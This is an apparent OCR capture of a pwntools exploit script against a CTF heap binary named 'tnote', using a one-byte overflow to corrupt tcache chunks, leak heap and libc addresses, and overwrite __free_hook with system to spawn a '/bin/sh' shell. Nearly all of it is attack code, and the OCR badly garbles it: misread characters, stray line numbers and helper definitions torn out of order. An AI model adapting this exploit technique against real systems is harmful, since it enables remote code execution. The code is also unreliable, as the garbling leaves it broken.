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ding: utf-8 —*-

import sys

import o
from pwn

# context.log level = 'debug'

S
import *

binary = "./tnote"

ip — Mx%
port =1
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elf = ELF (binary)

10 def pwn (ip, port, debug) :
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if debug == 1:

sh = process (binary)
1ib = elf.libc
# 1ib = ELF("/1ib/x86 64-linux-gnu/libc.so.6")

else:

sh = remote (ip, port)

1ib = ELF("11

S = lambda
sa = lambda
sl = lambda
sla = lambda
r = lambda
ru = lambda
irt = lambda
uu32 = lambda
uu64 = lambda
1g = lambda

def add(size):
sla (".. ", "A") ,.

bc-2.27.s0")

data

delim,data

data

delim,data
numb=4096

delims, drop=True

data
data
data

sla("?",str(size));

def free (idx) :
Sla (": ", "D") ,.
sla("?",str(i

dx))

def edit (idx,content) :

sla (".. ", "E")
sla("?",str(i

dx))

sa(":",content)

def show (idx) :
sla (n: n, "S")
sla("?",str(i

add (0x18)

add (0x18)

add (0x58)

add (0x18)

add (0x78)

payload = "\x11"

edit (0,payload)

free (1)

add (0x78)

free (4)

payload = "\x11"

edit (1,payload)

free(2)

payload = "\x11"

edit (1,payload)

show (1)

ru("\xI11" * 0x18

dx))

* 0x18 + p8(0x81)

# 1ib = ELF("/1ib/x86 64-linux-gnu/libc.so.6")

= :sh.send(str (data))
:sh.sendafter (str(delim), str(data))
:sh.sendline (str(data))
:sh.sendlineafter (str(delim), str(data))
:sh.recv (numb, timeout=5)
:sh.recvuntil (delims, drop,timeout=5)
:sh.interactive()
:u32(data.ljust (4, b'\x00'))
:ué4 (data.ljust (8, b'\x00'))
:log.success (data)

* 0x18 + p64(0x81) + "\n"

* 0x18 + p64 (Oxdeadbeefdeadbeef) + "\n"

+ p64 (Oxdeadbeefdeadbeef) )
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heap base = uué4(r(6)) - 0x320

60 payload = "\x11" * 0x18 + p64(0x81)

61 payload += p64 (heap base + 0x10) + "\n"

62 edit (1,payload)

63 add (0x78)

64 add (0x78)

65 payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + pb64 (heap base + 0x10) + "\n"
66 edit (4,payload)

67 free (4)

68 add (0x78)

69 show (4)

70 ru("content:")

71 main arena = uu64(r(6))

72 success ("main _arena = '"+hex (main arena))

73 1libc = main arena - lib.symbols[b' malloc hook'] - 96 - 0x10
74 success ("libc = "+hex (libc))

75 lib.address = libc

76 system = lib.symbols[b'system']

77 __ free hook = lib.symbols[b' free hook']

78 success (""1ibc base = "+hex (libc))

79 success ("sys addr = "+hex (system))

80 payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64( free hook - 8) + "\n"
81 edit (4,payload)

82 add (0x78)

83 edit (5,"/bin/sh\x00" + pé64 (system) + "\n")

84 free (5)

85 irt()

86

871if name == ' main ':

88 pwn(ip, port, O0)
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